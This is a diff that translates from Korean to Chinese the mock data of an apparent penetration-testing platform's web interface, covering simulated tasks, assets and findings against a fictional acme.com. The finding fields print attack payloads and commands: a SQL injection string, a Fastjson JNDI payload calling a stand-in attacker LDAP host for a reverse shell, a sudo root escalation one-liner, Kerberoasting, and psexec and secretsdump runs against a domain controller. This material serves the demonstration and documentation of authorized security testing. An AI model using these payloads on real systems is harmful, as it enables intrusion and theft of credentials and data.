- return "IPv4 대역 프리픽스는 /16 ~ /32 범위여야 합니다";
+ return "IPv4 网段前缀需为 /16 至 /32";
case "cidrPrefixV6":
- return "IPv6 대역 프리픽스는 /32 ~ /128 범위여야 합니다";
+ return "IPv6 网段前缀需为 /32 至 /128";
default:
return "";
}
diff --git a/web/src/lib/mock/data.ts b/web/src/lib/mock/data.ts
index e5c3395..279777e 100644
--- a/web/src/lib/mock/data.ts
+++ b/web/src/lib/mock/data.ts
@@ -54,9 +54,9 @@ export const tasks: Task[] = [
{
id: "t-acme-web",
category_id: 1,
- category_name: "외부 평가",
- description: "Acme 공식 사이트·관리자 백오피스 외부 침투 (acme.com)",
- goal: "acme.com 백오피스 관리자 권한을 획득하고, 사용자 민감 데이터를 읽을 수 있는지 확인한다.",
+ category_name: "外部评估",
+ description: "Acme 官网·管理员后台外部渗透 (acme.com)",
+ goal: "获取 acme.com 后台管理员权限,并确认能否读取用户敏感数据。",
status: "running",
created_at: T("2026-07-24T09:12:00Z"),
created_unix: 1785489120,
@@ -80,9 +80,9 @@ export const tasks: Task[] = [
{
id: "t-acme-api",
category_id: 2,
- category_name: "API 특화",
- description: "api.acme.com 권한 우회·인젝션 테스트",
- goal: "api.acme.com 주문/사용자 엔드포인트의 권한 우회(IDOR)·인젝션 위험을 평가한다.",
+ category_name: "API 专项",
+ description: "api.acme.com 权限绕过·注入测试",
+ goal: "评估 api.acme.com 订单/用户端点的权限绕过(IDOR)·注入风险。",
status: "running",
created_at: T("2026-07-25T14:05:00Z"),
created_unix: 1785592500,
@@ -106,9 +106,9 @@ export const tasks: Task[] = [
{
id: "t-shop-pay",
category_id: 2,
- category_name: "API 특화",
- description: "shop.acme.com 결제·주문 경로",
- goal: "결제·주문 엔드포인트의 권한 우회, 금액 변조, 경쟁 상태 위험을 평가한다.",
+ category_name: "API 专项",
+ description: "shop.acme.com 支付·订单路径",
+ goal: "评估支付·订单端点的权限绕过、金额篡改、竞争条件风险。",
status: "paused",
created_at: T("2026-07-22T08:30:00Z"),
created_unix: 1785313800,
@@ -131,9 +131,9 @@ export const tasks: Task[] = [
{
id: "t-vpn-edge",
category_id: 1,
- category_name: "외부 평가",
- description: "외부 노출면 정찰 (VPN / 경계 서비스)",
- goal: "acme.com이 외부에 노출한, 악용 가능한 경계 서비스를 식별한다.",
+ category_name: "外部评估",
+ description: "外部暴露面侦察 (VPN / 边界服务)",
+ goal: "识别 acme.com 对外暴露、可被利用的边界服务。",
status: "done",
created_at: T("2026-07-18T08:00:00Z"),
created_unix: 1784966400,
@@ -160,14 +160,14 @@ export const tasks: Task[] = [
export const taskCategories: TaskCategory[] = [
{
id: 1,
- name: "외부 평가",
+ name: "外部评估",
task_count: 2,
created_at: T("2026-07-18T08:00:00Z"),
updated_at: T("2026-07-25T08:00:00Z"),
},
{
id: 2,
- name: "API 특화",
+ name: "API 专项",
task_count: 2,
created_at: T("2026-07-19T08:00:00Z"),
updated_at: T("2026-07-24T08:00:00Z"),
@@ -177,18 +177,18 @@ export const taskCategories: TaskCategory[] = [
export const taskTemplates: TaskTemplate[] = [
{
id: 1,
- name: "외부 웹 침투",
+ name: "外部 Web 渗透",
description:
- "대상의 인터넷 노출면에 블랙박스 침투 테스트를 수행하고, 사이트·엔드포인트·흔한 관리자 진입점을 포괄한다.",
- goal: "미인증 접근, 민감 데이터 유출, 서버 장악으로 이어질 수 있는 보안 문제를 식별하고 검증한다.",
+ "对目标的互联网暴露面执行黑盒渗透测试,覆盖站点·端点·常见管理员入口。",
+ goal: "识别并验证可能导致未授权访问、敏感数据泄露、服务器失陷的安全问题。",
created_at: T("2026-07-20T08:00:00Z"),
updated_at: T("2026-07-25T08:00:00Z"),
},
{
id: 2,
- name: "API 권한 우회 특화",
- description: "대상 API 의 인증, 객체 수준 인가, 역할 경계를 중심으로 특화 테스트를 수행한다.",
- goal: "IDOR, 수평적 권한 우회, 수직적 권한 우회, 대량 데이터 접근 위험이 존재하는지 확인한다.",
+ name: "API 权限绕过专项",
+ description: "围绕目标 API 的身份认证、对象级授权、角色边界执行专项测试。",
+ goal: "确认是否存在 IDOR、水平权限绕过、垂直权限绕过、批量数据访问风险。",
created_at: T("2026-07-19T08:00:00Z"),
updated_at: T("2026-07-24T08:00:00Z"),
},
@@ -246,7 +246,7 @@ export const companies: Company[] = [
logo: "",
asset_count: 18,
scope: [
- { id: 1, company_id: 1, kind: "domain", domain: "acme.com", raw: "acme.com", reason: "주 도메인" },
+ { id: 1, company_id: 1, kind: "domain", domain: "acme.com", raw: "acme.com", reason: "主域名" },
{ id: 2, company_id: 1, kind: "cidr", net: "203.0.113.0/24", raw: "203.0.113.0/24" },
{ id: 3, company_id: 1, kind: "ip", net: "198.51.100.20", raw: "198.51.100.20" },
],
@@ -386,11 +386,11 @@ export const assets: Asset[] = [
company_id: 1,
task_ids: [1],
url: "https://www.acme.com",
- app_name: "Acme 공식 사이트",
+ app_name: "Acme 官网",
category: "corp",
status_code: 200,
content_length: 48213,
- page_title: "Acme Corp - 기업 사이트",
+ page_title: "Acme Corp - 企业站点",
technologies: ["Nginx", "React", "Cloudflare"],
favicon_mmh3: "-1580860059",
last_seen: T("2026-07-26T02:08:00Z"),
@@ -401,11 +401,11 @@ export const assets: Asset[] = [
company_id: 1,
task_ids: [1],
url: "https://admin.acme.com",
- app_name: "관리자 백오피스",
+ app_name: "管理员后台",
category: "admin",
status_code: 200,
content_length: 12044,
- page_title: "Acme Admin 로그인",
+ page_title: "Acme Admin 登录",
technologies: ["Nginx", "Vue", "Element-UI"],
last_seen: T("2026-07-26T02:09:00Z"),
},
@@ -545,7 +545,7 @@ export const assets: Asset[] = [
company_id: 1,
task_ids: [1],
url: "http://10.10.10.20:8080",
- app_name: "Jenkins (내부)",
+ app_name: "Jenkins (内网)",
category: "ci",
status_code: 200,
content_length: 14200,
@@ -589,17 +589,17 @@ export const findings: Finding[] = [
id: "f-1",
assets: [assetRef(18)],
vulnclass: "SQL Injection",
- name: "공식 사이트 검색 엔드포인트의 오류 기반 SQL 인젝션",
+ name: "官网搜索端点的报错型 SQL 注入",
severity: "high",
status: "pending",
report:
- '## 취약점 개요\n\n`www.acme.com/search` 의 `q` 파라미터에 **오류 기반 SQL 인젝션**(MSSQL)이 존재하며, 데이터베이스 버전과 스키마는 물론 민감 데이터까지 읽을 수 있습니다.\n\n## 영향\n\n- `acme_prod` 데이터베이스의 테이블 구조와 사용자/주문 데이터를 읽을 수 있음\n- 오류 메시지가 그대로 노출되어 익스플로잇을 빠르게 구성할 수 있어 위험이 높음\n\n## 재현 절차\n\n1. 오류 기반 인젝션을 유발합니다:\n\n```\nGET /search?q=1\' AND 1=CONVERT(int,@@version)--\n```\n\n2. 응답에 MSSQL 버전 오류가 노출되어 인젝션이 가능함을 확인합니다\n3. 데이터베이스를 추가로 열거합니다: `sqlmap -u "https://www.acme.com/search?q=1" --dbs`\n\n## 조치 권고\n\n- 모든 쿼리를 파라미터화 쿼리/프리페어드 스테이트먼트로 바꿔 문자열 연결을 없앱니다\n- 운영 환경의 상세 오류 노출을 끕니다\n- 데이터베이스 계정 권한을 최소화하고 `xp_cmdshell` 같은 위험한 확장을 비활성화합니다\n',
- summary: "www.acme.com/search 의 q 파라미터에 오류 기반 SQL 인젝션 존재",
+ '## 漏洞概述\n\n`www.acme.com/search` 的 `q` 参数存在**报错型 SQL 注入**(MSSQL),可读取数据库版本、结构乃至敏感数据。\n\n## 影响\n\n- 可读取 `acme_prod` 数据库的表结构以及用户/订单数据\n- 错误信息直接暴露,可快速构造利用,风险较高\n\n## 复现步骤\n\n1. 触发报错型注入:\n\n```\nGET /search?q=1\' AND 1=CONVERT(int,@@version)--\n```\n\n2. 响应中暴露 MSSQL 版本错误,确认注入可行\n3. 进一步枚举数据库:`sqlmap -u "https://www.acme.com/search?q=1" --dbs`\n\n## 处置建议\n\n- 将所有查询改为参数化查询/预编译语句,消除字符串拼接\n- 关闭生产环境的详细错误输出\n- 最小化数据库账号权限,并禁用 `xp_cmdshell` 等危险扩展\n',
+ summary: "www.acme.com/search 的 q 参数存在报错型 SQL 注入",
evidence:
- "GET /search?q=1' AND 1=CONVERT(int,@@version)-- → MSSQL 버전 오류 메시지를 반환하며, 데이터베이스 구조를 읽을 수 있습니다.",
+ "GET /search?q=1' AND 1=CONVERT(int,@@version)-- → 返回 MSSQL 版本错误信息,可读取数据库结构。",
intent_id: "i-2",
task_id: "t-acme-web",
- task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
+ task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-26T01:20:00Z"),
},
{
@@ -608,11 +608,11 @@ export const findings: Finding[] = [
vulnclass: "IDOR",
severity: "high",
status: "pending",
- summary: "api.acme.com/v1/orders?id= 에서 권한을 우회해 타인의 주문을 조회 가능",
- evidence: "id=1001 을 id=1002 로 바꾸면 타인의 주문(배송지·휴대폰 번호 포함)이 반환되며, 소유자 검증이 없습니다.",
+ summary: "api.acme.com/v1/orders?id= 可绕过权限查阅他人订单",
+ evidence: "将 id=1001 改为 id=1002 即返回他人订单(含收货地址·手机号),且无属主校验。",
intent_id: "i-5",
task_id: "t-acme-api",
- task_description: "api.acme.com 권한 우회·인젝션 테스트",
+ task_description: "api.acme.com 权限绕过·注入测试",
ts: T("2026-07-26T02:44:00Z"),
},
{
@@ -621,10 +621,10 @@ export const findings: Finding[] = [
vulnclass: "Weak JWT",
severity: "high",
status: "pending",
- summary: "API JWT 가 약한 키를 사용해 오프라인에서 크랙·위조 가능",
- evidence: "HS256, 키 'secret', john 으로 5초 만에 크랙 → 임의의 sub 를 위조해 권한을 우회할 수 있습니다.",
+ summary: "API JWT 使用弱密钥,可离线破解·伪造",
+ evidence: "HS256,密钥 'secret',用 john 5 秒即破解 → 可伪造任意 sub 绕过权限。",
task_id: "t-acme-api",
- task_description: "api.acme.com 권한 우회·인젝션 테스트",
+ task_description: "api.acme.com 权限绕过·注入测试",
ts: T("2026-07-26T03:02:00Z"),
},
{
@@ -633,10 +633,10 @@ export const findings: Finding[] = [
vulnclass: "Reflected XSS",
severity: "medium",
status: "pending",
- summary: "검색 페이지가 q 파라미터를 이스케이프하지 않아 반사형 XSS 발생",
- evidence: "q= 가 결과 제목에 그대로 노출됩니다.",
+ summary: "搜索页未对 q 参数转义,导致反射型 XSS",
+ evidence: "q= 会原样出现在结果标题中。",
task_id: "t-acme-web",
- task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
+ task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-25T22:10:00Z"),
},
{
@@ -645,10 +645,10 @@ export const findings: Finding[] = [
vulnclass: "Exposed .git",
severity: "medium",
status: "pending",
- summary: "www.acme.com 이 .git 디렉터리를 노출해 소스 코드를 복원 가능",
- evidence: "GET /.git/HEAD → 200; git-dumper 로 백엔드 소스 코드와 데이터베이스 접속 문자열 주석을 복원했습니다.",
+ summary: "www.acme.com 暴露 .git 目录,可还原源码",
+ evidence: "GET /.git/HEAD → 200;用 git-dumper 还原了后端源码及数据库连接串注释。",
task_id: "t-acme-web",
- task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
+ task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-25T20:30:00Z"),
},
{
@@ -657,11 +657,11 @@ export const findings: Finding[] = [
vulnclass: "Default Credentials",
severity: "high",
status: "pending",
- summary: "admin.acme.com 관리자 백오피스의 기본 비밀번호 admin/admin123",
- evidence: "로그인에 성공해 관리자 백오피스에 진입했고, 사용자와 주문을 관리할 수 있습니다.",
+ summary: "admin.acme.com 管理员后台使用默认口令 admin/admin123",
+ evidence: "登录成功并进入管理员后台,可管理用户与订单。",
intent_id: "i-3",
task_id: "t-acme-web",
- task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
+ task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-26T03:50:00Z"),
},
{
@@ -670,10 +670,10 @@ export const findings: Finding[] = [
vulnclass: "Open Redirect",
severity: "low",
status: "pending",
- summary: "로그인 후 next 파라미터로 임의 주소 리다이렉트 가능",
- evidence: "/login?next=https://evil.example 로 로그인하면 302 로 외부 사이트로 이동합니다.",
+ summary: "登录后可通过 next 参数重定向到任意地址",
+ evidence: "/login?next=https://evil.example 登录后会 302 跳转到外部站点。",
task_id: "t-acme-web",
- task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
+ task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-25T19:12:00Z"),
},
{
@@ -682,10 +682,10 @@ export const findings: Finding[] = [
vulnclass: "Missing Rate Limit",
severity: "medium",
status: "pending",
- summary: "로그인 엔드포인트에 속도 제한이 없어 무차별 대입 공격 가능",
- evidence: "분당 1,000회를 보내도 잠기지 않고, 캡차도 없습니다.",
+ summary: "登录端点无限速,可进行暴力破解",
+ evidence: "每分钟发送 1,000 次也不会锁定,且没有验证码。",
task_id: "t-acme-web",
- task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
+ task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-25T18:40:00Z"),
},
{
@@ -694,10 +694,10 @@ export const findings: Finding[] = [
vulnclass: "Verbose Error",
severity: "low",
status: "pending",
- summary: "API 가 500 오류에서 스택 트레이스를 반환해 경로와 프레임워크 버전이 노출",
- evidence: "500 오류를 유발하면 Node.js 스택 트레이스가 반환되어 절대 경로와 의존성 버전이 노출됩니다.",
+ summary: "API 在 500 错误中返回堆栈跟踪,泄露路径与框架版本",
+ evidence: "触发 500 错误会返回 Node.js 堆栈跟踪,泄露绝对路径与依赖版本。",
task_id: "t-acme-api",
- task_description: "api.acme.com 권한 우회·인젝션 테스트",
+ task_description: "api.acme.com 权限绕过·注入测试",
ts: T("2026-07-25T23:05:00Z"),
},
{
@@ -706,10 +706,10 @@ export const findings: Finding[] = [
vulnclass: "Outdated Component",
severity: "medium",
status: "pending",
- summary: "shop 이 알려진 RCE 가 있는 구버전 컴포넌트를 사용",
- evidence: "핑거프린팅으로 컴포넌트 v2.3.1 을 식별했고, 이는 CVE-2024-xxxx 역직렬화 RCE 에 해당합니다.",
+ summary: "shop 使用存在已知 RCE 的旧版组件",
+ evidence: "通过指纹识别出组件 v2.3.1,对应 CVE-2024-xxxx 反序列化 RCE。",
task_id: "t-shop-pay",
- task_description: "shop.acme.com 결제·주문 경로",
+ task_description: "shop.acme.com 支付·订单路径",
ts: T("2026-07-23T15:00:00Z"),
},
// ── 外网→内网纵深链路上的高危发现(active task)──
@@ -718,29 +718,29 @@ export const findings: Finding[] = [
vulnclass: "Hardcoded Credentials",
severity: "high",
status: "pending",
- summary: "유출된 소스 코드에 하드코딩된 데이터베이스 자격 증명 sa/Acme@2021",
+ summary: "泄露的源码中硬编码了数据库凭据 sa/Acme@2021",
evidence:
- "git-dumper 로 www.acme.com/.git 을 복원해 config.php 를 얻었고, 평문 DB 비밀번호가 들어 있었으며 이후 내부망에서 재사용 가능함이 확인되었습니다.",
+ "用 git-dumper 还原 www.acme.com/.git 获得 config.php,内含明文数据库口令,后续确认可在内网复用。",
intent_id: "ig",
task_id: "t-acme-web",
- task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
+ task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-25T20:36:00Z"),
},
{
id: "f-12",
assets: [assetRef(4)],
vulnclass: "Deserialization RCE",
- name: "shop 쇼핑몰 Fastjson 역직렬화 원격 명령 실행",
+ name: "shop 商城 Fastjson 反序列化远程命令执行",
severity: "critical",
status: "confirmed",
report:
- '## 취약점 개요\n\n`shop.acme.com` 의 `/api/import` 엔드포인트가 **Fastjson 1.2.24** 로 사용자가 제어할 수 있는 JSON 을 파싱하면서 `safeMode` 를 켜지 않아, `@type` 으로 임의 클래스를 지정해 **JNDI 인젝션 → 원격 명령 실행**을 유발할 수 있습니다.\n\n## 영향\n\n- 공격자가 인증 없이 DMZ 웹 서버에서 임의 명령을 실행할 수 있음(`www-data@dmz-web01`)\n- 이후 권한 상승과 결합하면 내부망 진입 발판이 됨\n\n## 재현 절차\n\n1. JNDI payload 를 구성합니다:\n\n```json\n{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker/Exploit","autoCommit":true}\n```\n\n2. `POST /api/import`, `Content-Type: application/json`\n3. 대상이 dnslog 로 콜백하고 리버스 셸이 떨어집니다\n\n## 조치 권고\n\n- Fastjson 을 **1.2.83+** 로 업그레이드하고 `safeMode` 를 켭니다\n- `/api/import` 에 인증과 출처 검증을 추가합니다\n- 아웃바운드 제한: 업무 서버가 LDAP/RMI 로 능동적으로 외부 연결하지 못하게 막습니다\n',
- summary: "shop.acme.com Fastjson 1.2.24 역직렬화 원격 명령 실행",
+ '## 漏洞概述\n\n`shop.acme.com` 的 `/api/import` 端点使用 **Fastjson 1.2.24** 解析用户可控的 JSON,且未开启 `safeMode`,可通过 `@type` 指定任意类触发 **JNDI 注入 → 远程命令执行**。\n\n## 影响\n\n- 攻击者无需认证即可在 DMZ Web 服务器上执行任意命令(`www-data@dmz-web01`)\n- 若再结合提权,即可成为进入内网的跳板\n\n## 复现步骤\n\n1. 构造 JNDI payload:\n\n```json\n{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker/Exploit","autoCommit":true}\n```\n\n2. `POST /api/import`, `Content-Type: application/json`\n3. 目标回调 dnslog 并反弹 shell\n\n## 处置建议\n\n- 将 Fastjson 升级到 **1.2.83+** 并开启 `safeMode`\n- 为 `/api/import` 增加认证与来源校验\n- 限制出站:禁止业务服务器主动通过 LDAP/RMI 向外连接\n',
+ summary: "shop.acme.com Fastjson 1.2.24 反序列化远程命令执行",
evidence:
- "POST /api/import 로 JNDI payload(@type:JdbcRowSetImpl)를 전송 → dnslog 로 콜백이 돌아오고 리버스 셸이 떨어집니다(www-data@dmz-web01).",
+ "向 POST /api/import 发送 JNDI payload(@type:JdbcRowSetImpl) → dnslog 收到回调并反弹 shell(www-data@dmz-web01)。",
intent_id: "i7",
task_id: "t-acme-web",
- task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
+ task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-25T15:40:00Z"),
},
{
@@ -749,12 +749,12 @@ export const findings: Finding[] = [
vulnclass: "Privilege Escalation",
severity: "high",
status: "pending",
- summary: "DMZ 발판에서 sudo NOPASSWD 오설정으로 로컬 권한 상승(root) 가능",
+ summary: "DMZ 据点因 sudo NOPASSWD 配置错误可实现本地提权(root)",
evidence:
- "sudo -l 에 (ALL) NOPASSWD: /usr/bin/python3 이 표시됨 → sudo python3 -c 'os.setuid(0);os.system(\"/bin/sh\")' 로 바로 root 를 획득합니다.",
+ "sudo -l 显示 (ALL) NOPASSWD: /usr/bin/python3 → 用 sudo python3 -c 'os.setuid(0);os.system(\"/bin/sh\")' 即可直接获得 root。",
intent_id: "i8",
task_id: "t-acme-web",
- task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
+ task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-25T16:20:00Z"),
},
{
@@ -763,12 +763,12 @@ export const findings: Finding[] = [
vulnclass: "Network Segmentation",
severity: "medium",
status: "pending",
- summary: "DMZ 호스트가 이중 NIC 로 내부망에 직결되어 경계 격리가 무력화됨",
+ summary: "DMZ 主机以双网卡直连内网,导致边界隔离失效",
evidence:
- "dmz-web01 의 두 번째 NIC 가 10.10.10.0/24 에 있어, DMZ 에서 도메인 컨트롤러/파일 서버/Jenkins 에 바로 도달하며 네트워크 분할을 우회합니다.",
+ "dmz-web01 的第二块网卡位于 10.10.10.0/24,可从 DMZ 直接访问域控制器/文件服务器/Jenkins,绕过网络分段。",
intent_id: "i9",
task_id: "t-acme-web",
- task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
+ task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-25T21:00:00Z"),
},
{
@@ -777,12 +777,12 @@ export const findings: Finding[] = [
vulnclass: "Unauthenticated RCE",
severity: "high",
status: "pending",
- summary: "내부 Jenkins 의 미인증 Script Console 원격 명령 실행",
+ summary: "内网 Jenkins 未授权 Script Console 远程命令执行",
evidence:
- "GET /script 로 로그인 없이 Groovy 를 실행: 'whoami'.execute().text → SYSTEM; 자격 증명 저장소에서 도메인 계정 acme\\svc_deploy 를 추출했습니다.",
+ "通过 GET /script 无需登录执行 Groovy:'whoami'.execute().text → SYSTEM;并从凭据库提取域账号 acme\\svc_deploy。",
intent_id: "i11",
task_id: "t-acme-web",
- task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
+ task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-25T21:50:00Z"),
},
{
@@ -791,29 +791,29 @@ export const findings: Finding[] = [
vulnclass: "Kerberoasting",
severity: "high",
status: "pending",
- summary: "도메인 서비스 계정 svc_sql 이 Kerberoast 대상이며 비밀번호가 약함",
+ summary: "域服务账号 svc_sql 可被 Kerberoast 且口令较弱",
evidence:
- "GetUserSPNs 로 svc_sql 의 TGS 를 요청하고, hashcat -m 13100 으로 Sql@2020 을 오프라인 크랙했습니다. 이 계정은 SQL 관리 그룹에 속합니다.",
+ "用 GetUserSPNs 请求 svc_sql 的 TGS,再以 hashcat -m 13100 离线破解出 Sql@2020。该账号属于 SQL 管理组。",
intent_id: "i12",
task_id: "t-acme-web",
- task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
+ task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-25T23:20:00Z"),
},
{
id: "f-17",
assets: [assetRef(20)],
vulnclass: "Domain Compromise",
- name: "내부망 도메인 컨트롤러 DC01 완전 장악(Domain Admin)",
+ name: "内网域控制器 DC01 被完全控制(Domain Admin)",
severity: "critical",
status: "confirmed",
report:
- "## 취약점 개요\n\n외부망 Fastjson RCE 로 DMZ 에 발판을 마련한 뒤, sudo 권한 상승·이중 NIC 관통·Jenkins 미인증 RCE 로 도메인 계정 `svc_deploy` 를 획득했습니다. 이 계정은 **Domain Admins** 에 속해, 최종적으로 도메인 컨트롤러 **DC01** 을 완전히 장악했습니다.\n\n## 영향\n\n- 도메인 관리자 권한을 얻어 전체 도메인의 호스트와 계정을 통제할 수 있음\n- `secretsdump` 로 전체 도메인의 NTLM 해시(`krbtgt` 포함)를 추출해, 골든 티켓을 만들어 장기간 잠복할 수 있음\n- 내부 목표 달성\n\n## 재현 절차\n\n1. `svc_deploy` 로 로그인해 해시를 추출합니다:\n\n```\npsexec.py acme/svc_deploy@10.10.10.10\nsecretsdump.py acme/svc_deploy@10.10.10.10\n```\n\n2. DC01 의 SYSTEM 권한을 얻어 도메인 내 전체 해시를 추출합니다\n\n## 조치 권고\n\n- 서비스 계정 권한을 축소하고 Domain Admins 에서 제외하며, 계층형 관리(tiering)를 적용합니다\n- `krbtgt` 를 연속 두 번 재설정하고, 서비스 계정을 강력한 비밀번호로 교체합니다\n- DMZ→내부망 경계 격리와 앞서 설명한 RCE/권한 상승 체인을 수정합니다\n",
- summary: "도메인 컨트롤러 DC01 장악(Domain Admin): 내부 목표 달성",
+ "## 漏洞概述\n\n先通过外网 Fastjson RCE 在 DMZ 建立落脚点,再经 sudo 提权·双网卡穿透·Jenkins 未授权 RCE 获取域账号 `svc_deploy`。该账号属于 **Domain Admins**,最终完全控制了域控制器 **DC01**。\n\n## 影响\n\n- 取得域管理员权限,可控制整个域的主机与账号\n- 用 `secretsdump` 导出整个域的 NTLM 哈希(含 `krbtgt`),制作黄金票据实现长期潜伏\n- 内网目标达成\n\n## 复现步骤\n\n1. 以 `svc_deploy` 登录并导出哈希:\n\n```\npsexec.py acme/svc_deploy@10.10.10.10\nsecretsdump.py acme/svc_deploy@10.10.10.10\n```\n\n2. 取得 DC01 的 SYSTEM 权限并导出域内全部哈希\n\n## 处置建议\n\n- 收缩服务账号权限并将其移出 Domain Admins,实施分层管理(tiering)\n- 连续两次重置 `krbtgt`,并将服务账号更换为强口令\n- 修复 DMZ→内网边界隔离以及前述 RCE/提权链\n",
+ summary: "控制域控制器 DC01(Domain Admin):内网目标达成",
evidence:
- "svc_deploy 가 Domain Admins 에 속해, psexec.py 로 DC01 에 로그인해 SYSTEM 을 얻고, secretsdump 로 전체 도메인의 NTLM 해시(krbtgt 포함)를 추출해 목표 장악을 완료했습니다.",
+ "svc_deploy 属于 Domain Admins,用 psexec.py 登录 DC01 获得 SYSTEM,并以 secretsdump 导出整个域的 NTLM 哈希(含 krbtgt),完成目标控制。",
intent_id: "i13",
task_id: "t-acme-web",
- task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
+ task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-26T00:20:00Z"),
},
];
@@ -829,7 +829,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "root",
type: "fact",
- payload: P({ summary: "루트: acme.com 외부망→내부망 심층 침투" }),
+ payload: P({ summary: "根目标:acme.com 外网→内网纵深渗透" }),
priority: 0,
state: "origin",
origin: "system",
@@ -840,7 +840,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "g1",
type: "goal",
- payload: P({ text: "acme.com 관리자 백오피스 권한 획득" }),
+ payload: P({ text: "获取 acme.com 管理员后台权限" }),
priority: 9,
state: "met",
origin: "goals",
@@ -849,7 +849,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "g2",
type: "goal",
- payload: P({ text: "사용자 민감 데이터 열람" }),
+ payload: P({ text: "查阅用户敏感数据" }),
priority: 8,
state: "open",
origin: "goals",
@@ -858,7 +858,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "g3",
type: "goal",
- payload: P({ text: "외부망에서 DMZ 돌파, 내부망 거점 확보" }),
+ payload: P({ text: "从外网突破 DMZ,取得内网据点" }),
priority: 9,
state: "met",
origin: "goals",
@@ -867,7 +867,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "g4",
type: "goal",
- payload: P({ text: "내부망 횡적 이동, 내부 표적 도메인 컨트롤러 DC01 장악" }),
+ payload: P({ text: "内网横向移动,控制内网目标域控制器 DC01" }),
priority: 10,
state: "met",
origin: "goals",
@@ -878,7 +878,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "i1",
type: "intent",
- payload: P({ summary: "acme.com 서브도메인 열거와 포트 스캔" }),
+ payload: P({ summary: "acme.com 子域名枚举与端口扫描" }),
priority: 6,
state: "done",
origin: "planner",
@@ -887,7 +887,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "i2",
type: "intent",
- payload: P({ summary: "admin 백오피스 기본 비밀번호 / 취약한 비밀번호 테스트" }),
+ payload: P({ summary: "admin 后台默认口令 / 弱口令测试" }),
priority: 9,
state: "done",
origin: "planner",
@@ -896,7 +896,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "i3",
type: "intent",
- payload: P({ summary: "백오피스 기능과 사용자 데이터 엔드포인트 열거" }),
+ payload: P({ summary: "枚举后台功能与用户数据端点" }),
priority: 8,
state: "running",
origin: "planner",
@@ -905,7 +905,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "i4",
type: "intent",
- payload: P({ summary: "www.acme.com/search 페이지 SQL 인젝션 탐지" }),
+ payload: P({ summary: "www.acme.com/search 页面 SQL 注入检测" }),
priority: 8,
state: "done",
origin: "planner",
@@ -914,7 +914,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "i5",
type: "intent",
- payload: P({ summary: "api.acme.com 주문 엔드포인트 권한 우회(IDOR) 테스트" }),
+ payload: P({ summary: "api.acme.com 订单端点权限绕过(IDOR)测试" }),
priority: 8,
state: "running",
origin: "planner",
@@ -923,7 +923,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "ig",
type: "intent",
- payload: P({ summary: "www.acme.com .git 소스 코드 유출과 하드코딩 자격 증명 추출" }),
+ payload: P({ summary: "www.acme.com .git 源码泄露与硬编码凭据提取" }),
priority: 7,
state: "done",
origin: "planner",
@@ -934,7 +934,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "i6",
type: "intent",
- payload: P({ summary: "shop.acme.com 컴포넌트 지문 식별과 CVE 연관" }),
+ payload: P({ summary: "shop.acme.com 组件指纹识别与 CVE 关联" }),
priority: 7,
state: "done",
origin: "planner",
@@ -943,7 +943,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "i7",
type: "intent",
- payload: P({ summary: "shop 역직렬화 RCE 유발, 리버스 셸 획득" }),
+ payload: P({ summary: "触发 shop 反序列化 RCE,获取反弹 shell" }),
priority: 9,
state: "done",
origin: "planner",
@@ -952,7 +952,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "i8",
type: "intent",
- payload: P({ summary: "DMZ 거점 로컬 정보 수집과 root 권한 상승" }),
+ payload: P({ summary: "DMZ 据点本地信息收集与 root 提权" }),
priority: 8,
state: "done",
origin: "planner",
@@ -963,7 +963,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "i9",
type: "intent",
- payload: P({ summary: "거점을 pivot 삼아 내부망 호스트 발견" }),
+ payload: P({ summary: "以据点为跳板发现内网主机" }),
priority: 8,
state: "done",
origin: "planner",
@@ -972,7 +972,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
{
id: "i10",
type: "intent",
- payload: P({ summary: "내부망 자격 증명 재사용과 패스워드 스프레이" }),
